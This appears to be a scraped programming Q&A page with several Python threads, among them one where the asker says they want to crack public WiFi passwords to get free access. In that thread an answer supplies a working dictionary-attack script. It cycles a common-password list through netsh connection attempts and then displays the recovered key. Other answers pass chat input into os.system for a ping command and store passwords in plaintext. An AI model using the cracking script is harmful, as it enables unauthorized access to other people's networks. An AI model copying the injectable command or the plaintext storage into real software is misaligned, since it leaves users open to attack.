Getting Python to Confirm If/Elif/Else before proceeding - python

I've written a simple python script to take command line arguments and write them to a file for deployment to a router using Ansible. But before my script creates that output file, I want to force the user to confirm the request with a Y/N (Yes or No) entry.
How can I modify this script to request that after each if/elif statement?
#!/usr/bin/python
import argparse
import sys
parser = argparse.ArgumentParser()
parser.add_argument("-s", "--set", help="set", action="store_true")
parser.add_argument("-d", "--delete", help="delete", action="store_true")
parser.add_argument("-i", "--ipaddr", help="Target IP")
args = parser.parse_args()
if args.set:
print "Deploying: set routing-options static route %s" % (args.ipaddr)
filename = open("/var/tmp/output.txt",'w')
sys.stdout = filename
print "set routing-options static route %s" % (args.ipaddr)
elif args.delete:
print "Deploying: delete routing-options static route %s" % (args.ipaddr)
filename = open("/var/tmp/output.txt",'w')
sys.stdout = filename
print "delete routing-options static route %s" % (args.ipaddr)
else:
exit(1)

Just write a ask_confirm function and call it wherever needed:
def ask_confirm(msg="Are you sure?"):
answer = ""
while answer not in ("yes", "no"):
answer = input(msg + " [yes/no]")
return (True if answer == "yes" else False)
The default value of msg lets you call ask_confirm with a generic message.
It returns a boolean value so it is easier to handle.
The inputs could be customized in a fancier way if needed.
Here is a fancier version:
def ask_confirm(msg="Are you sure?", yes=None, no=None):
if yes is None:
yes = ["yes"]
if no is None:
no = ["no"]
if isinstance(yes, str):
yes = [yes]
if isinstance(no, str):
no = [no]
answer = ""
while answer not in yes and answer not in no:
answer = input(msg + " [{}/{}]".format(yes[0], no[0]))
return (True if answer in yes else False)
Then you can ask for confirmation at the beginning of each block:
if args.set:
if not ask_confirm("Do you really want to set?"):
sys.exit()
# else (not needed)
# proceed
elif args.delete:
if not ask_confirm("Are you sure you want to delete?"):
sys.exit()
# else (not needed)
# proceed
else:
sys.exit(1)

Related

How to Brute Force a wifi Password with python?

When I’m in public I want to have access to the internet, so I’ve been writing a script to find wifi passwords for a while now. I found a way like “dictionary attack” that I don’t like.
I found a script on the internet to connect to wifi using python:
import os
import platform
import getpass
y = "y"
Y = "Y"
n = "n"
N = "N"
def createNewConnection(name, SSID, key):
config = """<?xml version=\"1.0\"?>
<WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
<name>"""+name+"""</name>
<SSIDConfig>
<SSID>
<name>"""+SSID+"""</name>
</SSID>
</SSIDConfig>
<connectionType>ESS</connectionType>
<connectionMode>auto</connectionMode>
<MSM>
<security>
<authEncryption>
<authentication>WPA2PSK</authentication>
<encryption>AES</encryption>
<useOneX>false</useOneX>
</authEncryption>
<sharedKey>
<keyType>passPhrase</keyType>
<protected>false</protected>
<keyMaterial>"""+key+"""</keyMaterial>
</sharedKey>
</security>
</MSM>
</WLANProfile>"""
if platform.system() == "Windows":
command = "netsh wlan add profile filename=\""+name+".xml\""+" interface=Wi-Fi"
with open(name+".xml", 'w') as file:
file.write(config)
elif platform.system() == "Linux":
command = "nmcli dev wifi connect '"+SSID+"' password '"+key+"'"
os.system(command)
if platform.system() == "Windows":
os.remove(name+".xml")
def connect(name, SSID):
if platform.system() == "Windows":
command = "netsh wlan connect name=\""+name+"\" ssid=\""+SSID+"\" interface=Wi-Fi"
elif platform.system() == "Linux":
command = "nmcli con up "+SSID
os.system(command)
def displayAvailableNetworks():
if platform.system() == "Windows":
command = "netsh wlan show networks interface=Wi-Fi"
elif platform.system() == "Linux":
command = "nmcli dev wifi list"
os.system(command)
try:
displayAvailableNetworks()
option = input("New connection (y/N)? ")
if option == n or option == N:
name = input("Name: ")
connect(name, name)
print("If you aren't connected to this network, try connecting with correct credentials")
elif option == y or option == Y:
name = input("Name: ")
key = getpass.getpass("Password: ")
createNewConnection(name, name, key)
connect(name, name)
print("If you aren't connected to this network, try connecting with correct credentials")
except KeyboardInterrupt as e:
print("\nExiting...")
You have to enter the password yourself in this script.
In this line
key = getpass.getpass ("Password:")
I should switch "Password:" with variable that the script would try to search for until it is successful...
I found a script to find the password and completed it. The only problem is that in this script the program knows the value of the password. With each attempt, he can check if it matches the correct password.
import itertools
import string
def guess_password(real):
chars = string.ascii_lowercase + string.digits
attempts = 0
for password_length in range(8, 9):
for guess in itertools.product(chars, repeat=password_length):
attempts += 1
guess = ''.join(guess)
if guess == real:
return 'password is {}. found in {} guesses.'.format(guess, attempts)
print(guess, attempts)
print(guess_password('abc'))
I should connect these two scripts but I don't know how. It is not clear to me how to find the value of a variable that is unknown- (password).
I would be very happy if someone could explain the above problem to me. I’m new to these things and they’re not the clearest to me. Thanks for the reply
what we think is not always right. the already in market attack tools use a completely different approach to attack and gain access.They use the handshakes to match the pass with the actual passkey and this is how they validate if it is correct or not.
You are using a very naive way and this would hardly work.Look at the complexity of this program and lets assume you try 1000000 different key. the code would run forever.
Research more learn about handshakes decryption.
I know i am late for this but i found another way that might work using your code.
It tries common passwords from a .txt file i got from gihub https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10k-most-common.txt
Here is the code.
import os
import platform
import time
import requests
url = "http://www.python.org"
timeout = 5
def createNewConnection(name, SSID, key):
config = """<?xml version=\"1.0\"?>
<WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
<name>"""+name+"""</name>
<SSIDConfig>
<SSID>
<name>"""+SSID+"""</name>
</SSID>
</SSIDConfig>
<connectionType>ESS</connectionType>
<connectionMode>auto</connectionMode>
<MSM>
<security>
<authEncryption>
<authentication>WPA2PSK</authentication>
<encryption>AES</encryption>
<useOneX>false</useOneX>
</authEncryption>
<sharedKey>
<keyType>passPhrase</keyType>
<protected>false</protected>
<keyMaterial>"""+key+"""</keyMaterial>
</sharedKey>
</security>
</MSM>
</WLANProfile>"""
if platform.system() == "Windows":
command = "netsh wlan add profile filename=\""+name+".xml\""+" interface=Wi-Fi"
with open(name+".xml", 'w') as file:
file.write(config)
elif platform.system() == "Linux":
command = "nmcli dev wifi connect '"+SSID+"' password '"+key+"'"
os.system(command)
if platform.system() == "Windows":
os.remove(name+".xml")
def connect(name, SSID):
os.system("netsh wlan connect name=\""+name+"\" ssid=\""+SSID+"\" interface=Wi-Fi")
def displayAvailableNetworks():
os.system("netsh wlan show networks interface=Wi-Fi")
print("[LOADING] Searching if connected to any network")
try:
request = requests.get(url, timeout=timeout)
print("[-] Please disconnect your internet for this operation to work, try again later"), exit()
except (requests.ConnectionError, requests.Timeout) as exception:
print("[LOADING] Loading program..."), time.sleep(1)
connected = True
while connected:
try:
displayAvailableNetworks()
WIFI = input("WIFI Name: ")
with open("Brute Force\passwords.txt", "r") as f:
for line in f:
words = line.split()
if words:
print(f"Password: {words[0]}")
createNewConnection(WIFI, WIFI, words[0])
connect(WIFI, WIFI)
try:
request = requests.get(url, timeout=timeout)
connected = False
choice = input(f"[+] The password might have been cracked, are you connected to {WIFI} (y/N) ? ")
if choice == "y":
print("\n[EXITING] Operation canceled")
exit()
elif choice == "n":
print("\n[-] Operation continues\n")
except (requests.ConnectionError, requests.Timeout) as exception:
print("[LOADING] Loading program..."), time.sleep(1)
print("[+] Operation complete")
choice = input("See WIFI Information (y/N) ? ")
if choice == "y" or "Y":
print(f"[LOADING] Searching for {WIFI} network")
time.sleep(1)
os.system(f'netsh wlan show profile name="{WIFI}" key=clear')
exit()
elif choice == "n" or "N":
print("\n[EXITING] Exiting program...")
time.sleep(2)
exit()
except KeyboardInterrupt as e:
print("\n[[EXITING] Aborting program...")
exit()

How can I make a basic program that allows someone to sign in to an account previously created?

I am trying to make a python program that will allow a user to sign up or sign in, and I am currently doing so by creating a file that stores every username and its password. Right now, it is not writing to the file, and I was wondering if anyone could tell me what I'm doing wrong. Please forgive me if it is a stupid error, I am not very experienced with python, but I can still make a basic program. This is my code:
# -*- coding: utf-8 -*-
from time import sleep
def signin():
usrlist = open("users.txt", 'w+')
complete = False
while (complete == False):
usr = raw_input("Username: ")
pwd = raw_input("Password: ")
usrinfo = (usr + ":" + pwd)
if (usrinfo in usrlist.read()):
print("Welcome back " + usr + ".")
complete = True
else:
print("Username or Password incorrect. Please try again.")
def signup():
usrlist = open("users.txt", 'w+')
usravailable = False
while (usravailable == False):
newusr = raw_input("Please choose a Username: ")
if (newusr in usrlist.read()):
print("Username taken. Please choose again.")
else:
usravailable = True
newpwd = raw_input("Please choose a password: ")
oldusrlist = usrlist.read()
usrlist.write(oldusrlist + newusr + ":" + newpwd + ".")
print("Thank You. Please Sign in.")
signin()
print("Please Choose An Option:")
print("1. Sign In")
print("2. Sign Up")
inorup = input()
if (inorup == 1):
signin()
elif (inorup == 2):
signup()
Also, if you have any suggestions about how I could do this differently, or better(even if it's using a different language) Thank you and I appreciate your help.
EDIT:
If anyone can give me information on doing a program like this either using JSON, javascript, or multiple files that can store larger amounts of data about each account, please tell me how in the comments or an answer. I appreciate the help.
To fix your not saving issue, you need to do two changes:
1) in your signin() routine, change the line 'usrlist = open("users.txt", 'w+')' into 'usrlist = open("users.txt", 'r')
2) in your singup() routine, after the line 'usrlist.write(oldusrlist + newusr + ":" + newpwd + ".")', add: 'usrlist.close()'
Then you should be able to see the stuff got saved.
here is a way to use json
import json
import os
FILENAME = "./f.json"
# init the data file
def init_data():
with open(FILENAME, "wb") as f:
json.dump({}, f)
def load_content():
with open(FILENAME) as f:
infos = json.load(f)
return infos
def save_content(content):
with open(FILENAME, "w+") as f:
json.dump(content, f)
return True
def save_info(username, password):
infos = load_content()
if username in infos:
return False
infos[username] = password
save_content(infos)
return True
def sign_in(username, password,):
status = save_info(username, password)
if not status:
print "username exists"
def login(username, password):
infos = load_content()
if username in infos:
if password == infos[username]:
print "login success"
return True
else:
print "password wrong"
return False
else:
print "no user named %s" %username
if __name__ == "__main__":
# here is some simple test
os.system("rm -f %s" %FILENAME)
if not os.path.exists(FILENAME):
init_data()
# login fail
login("hello","world")
# sign_in
sign_in("hello", "world")
# login success
login("hello","world")
# sign_in fail
sign_in("hello", "world")
# login fail
login("hello", "hello")

Python script isn't working

I wrote this script for a program I'm writing ever since I changed careers but running into a lot of issues with it. Supposed to take a string and encrypt it with a key. Not sure where to begin with troubleshooting as I'm new to programming so came here for help. Maybe if you can just point me in the write direction where to begin?
This is the error I get but looks fine.
$ python temp.py -p "ThisIsATestOfMyCode" -k "testtest"
File "encrypt.py", line 37
else:
^
This is my code.
#!/usr/bin/env python
import sys, argparse
def encrypt(varAble1, varAble2):
varAble1_size = len(varAble1)/float(len(varAble2))
if str(varAble1_size).split(".")[1] == "0":
else:
while str(varAble1_size).split(".")[1] != "0":
varAble1 +== "#"
varAble1_size = len(varAble1)/float(len(varAble2))
code = []
varAble1 = list(varAble1)
varAble2 = list(varAble2))
multiply_size = int(str((varAble1_size)).spliy(".")[0]) * 8
while varAble1 != []:
p_varAble1 = varAble1[0:8]
p_varAble2 = varAble2[0:8]
temp_list = []
for i in xrange(0,8):
if type(p_varAble2[i]) == type(int):
new_ct = (ord(chr(p_varAble2[i])) ^ ord(p_varAble1[0]))
else:
new_ct = (ord(p_varAble2[i]) ^ ord(p_varAble1[0]))
code.append(new_ct)
temp_list.append(new_ct)
varAble1.pop(0)
p_varAble1.pop(0)
varAble2 = temp_list
varAble2.reverse()
code.reverse()
varAble1 = code.reverse()
code_text = []
for i in code:
hex_value = hex(i)
if len(hex_value) != 4:
code_text.append("0" + hex(i)[2:])
else:
code_text.append(hex(i)[2:])
varAble2 += i
code_text = "".join(code_text).upper()
return code_text
def main():
parser = argparse.ArgumentParser(description="Encrypt things")
parser.add_argument("-p", "--var1",help="String to enc",metavar='<pt>', required=True)
parser.add_argument("-k", "--var2", help="8 length key to encrypt with", metavar='<key>', required=True)
args = parser.parse_args()
var1 = args.var1
var2 = args.var2
hash = encrypt(var1, var2)
print "[+] Encrypted using %s [+]\n%s" % (var2, hash)
if __name__ == "__main__":
main()
The block of if str(varAble1_size).split(".")[1] == "0": is empty, so you will need to add a pass statement after it. Keef Baker is also correct in spotting that the block for else: on line 37 is not properly indented.
You have to indent your code after else :
else:
new_ct = (ord(p_varAble2[i]) ^ ord(p_varAble1[0]))
And as Andrew Kulpa noted, the block after
if str(varAble1_size).split(".")[1] == "0":
is empty, so you either need to do something in that block, or add a pass statement.
Python does not use brackets but indentation for control flow.
In your code, the Python interpreter sees an else but no statement for it, so it throws an error.
See more about control flow here : https://docs.python.org/3/tutorial/controlflow.html

File saving issue PYTHON - duplicate files?

I am developing a program, and one of the options is to save the data. Although there is a thread similar to this, it was never fully resolved ( Creating file loop ). The problem is, the program does not recognise duplicate files, and I don't know how to loop it so that if there is a duplicate file name and the user does not want to overwrite the existing one, the program will ask for a new name. This is my current code:
print("Exporting")
import os
my_file = input("Enter a file name")
while os.path.isfile(my_file) == True:
while input("File already exists. Overwrite it? (y/n) ") == 'n':
my_file = open("filename.txt", 'w+')
# writing to the file part
my_file = open("filename.txt", 'w+')
# otherwise writing to the file part
file_selected = False
file_path = ""
while not file_selected:
file_path = input("Enter a file name")
if os.path.isfile(file_path) and input("Are you sure you want to override the file? (y/n)") != 'y':
continue
file_selected = True
#Now you can open the file using open()
This holds a boolean variable file_selected.
First, it asks the user for a file name. If this file exists and the user doesn't want to override it it continues (stops the current iteration and continues to the next one), so the user is asked again to enter a file name. (pay attention that the confirmation will execute only if the file exists because of lazy evaluation)
Then, if the file doesn't exist or the user decided to override it, file_selected is changed to True, and the loop is stopped.
Now, you can use the variable file_path to open the file
Disclaimer: This code is not tested and only should theoretically work.
Although the other answer works I think this code is more explicit about file name usage rules and easier to read:
import os
# prompt for file and continue until a unique name is entered or
# user allows overwrite
while 1:
my_file = input("Enter a file name: ")
if not os.path.exists(my_file):
break
if input("Are you sure you want to override the file? (y/n)") == 'y':
break
# use the file
print("Opening " + my_file)
with open(my_file, "w+") as fp:
fp.write('hello\n')
This is how I advise to do it, especially when you have event driven GUI app.
import os
def GetEntry (prompt="Enter filename: "):
fn = ""
while fn=="":
try: fn = raw_input(prompt)
except KeyboardInterrupt: return
return fn
def GetYesNo (prompt="Yes, No, Cancel? [Y/N/C]: "):
ync = GetEntry(prompt)
if ync==None: return
ync = ync.strip().lower()
if ync.startswith("y"): return 1
elif ync.startswith("n"): return 0
elif ync.startswith("c"): return
else:
print "Invalid entry!"
return GetYesNo(prompt)
data = "Blah-blah, something to save!!!"
def SaveFile ():
p = GetEntry()
if p==None:
print "Saving canceled!"
return
if os.path.isfile(p):
print "The file '%s' already exists! Do you wish to replace it?" % p
ync = GetYesNo()
if ync==None:
print "Saving canceled!"
return
if ync==0:
print "Choose another filename."
return SaveFile()
else: print "'%s' will be overwritten!" % p
# Save actual data
f = open(p, "wb")
f.write(data)
f.close()

Skype4py !command with arguments

I currently have a skypebot which replies to commands and pings websites when I use the following code:
if Status == 'SENT' or (Status == 'RECEIVED'):
if Message.Body.lower() == '!ping google':
ping = os.system("ping google.com")
if ping == 0:
Message.Chat.SendMessage("Online!")
else:
Message.Chat.SendMessage('Offline!')
This works and if the website is online it will display Online! in chat. However, it requires me to define the website before hand. I have searched for a good few hours now to try to find how I would make it so I can do !ping [website] and allow for the user at any time to use whatever website they want. Any ideas?
I would do something like this:
body = Message.Body
if body.startswith('!'):
parts = body.split() # ['!ping', 'google.com']
command = parts[0][1:] # 'ping'
result = commands[command](*parts[1:]) # Calls `ping` with 'google.com'
Message.Chat.SendMessage(result) # Prints out the resulting string
Now, you can define simple functions:
def ping(url):
if os.system("ping " + url) == 0:
return 'Online!'
else:
return 'Offline!'
And add them to a commands dictionary:
commands = {
'ping': ping
}
os.system() is insecure if you're expecting arbitrary user input, so I'd use subprocess.Popen instead (or just try connecting to the website with just Python).
I have a SkypeBot I made as well.
I use http://www.downforeveryoneorjustme.com/
I do it this way:
Functions.py
def isUP(url):
try:
source = urllib2.urlopen('http://www.downforeveryoneorjustme.com/' + url).read()
if source.find('It\'s just you.') != -1:
return 'Website Responsive'
elif source.find('It\'s not just you!') != -1:
return 'Tango Down.'
elif source.find('Huh?') != -1:
return 'Invalid Website. Try again'
else:
return 'UNKNOWN'
except:
return 'UNKNOWN ERROR'
And for commands.py
elif msg.startswith('!isup '):
debug.action('!isup command executed.')
send(self.nick + 'Checking website. Please wait...')
url = msg.replace('!isup ', '', 1)
url = functions.getCleanURL(url)
send(self.nick + functions.isUP(url))
Of course with "import functions" in the commands.py file.
I'm sure you can alter this a bit to work to check a website's status for your bot as well.
Good luck :)

Categories

Resources